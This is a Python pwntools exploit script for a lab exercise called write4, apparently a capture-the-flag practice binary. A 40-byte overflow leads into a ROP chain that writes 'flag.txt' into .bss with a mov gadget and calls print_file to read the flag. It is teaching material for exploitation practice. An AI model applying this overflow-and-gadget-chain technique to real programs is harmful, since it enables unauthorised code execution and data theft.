#!/usr/bin/env python3
# Lab 6.4 write4: ghi "flag.txt" vao .bss bang gadget mov, roi goi print_file(data).
from pwn import *

context.binary = elf = ELF('./write4')
context.log_level = 'info'
io = process('./write4')

offset = 40
rop = ROP(elf)
pop_rdi     = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_r14_r15 = rop.find_gadget(['pop r14', 'pop r15', 'ret'])[0]
mov_gadget  = elf.sym['pwn_mov_r14_r15']        # mov qword ptr [r14], r15 ; ret
data        = elf.bss(0x100)
log.info('pop rdi            = %#x', pop_rdi)
log.info('pop r14 ; pop r15  = %#x', pop_r14_r15)
log.info('mov [r14], r15     = %#x', mov_gadget)
log.info('.bss data          = %#x', data)

payload = flat(
    b'A' * offset,
    pop_r14_r15, data, b'flag.txt',   # r14 = data, r15 = "flag.txt"
    mov_gadget,                        # [data] = "flag.txt"
    pop_rdi, data,                     # rdi = data
    elf.sym['print_file'],             # print_file("flag.txt")
)
io.sendafter(b'>', payload)
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'FLAG{' in out, 'FAIL: khong doc duoc flag'
log.success('write4 OK: da in flag')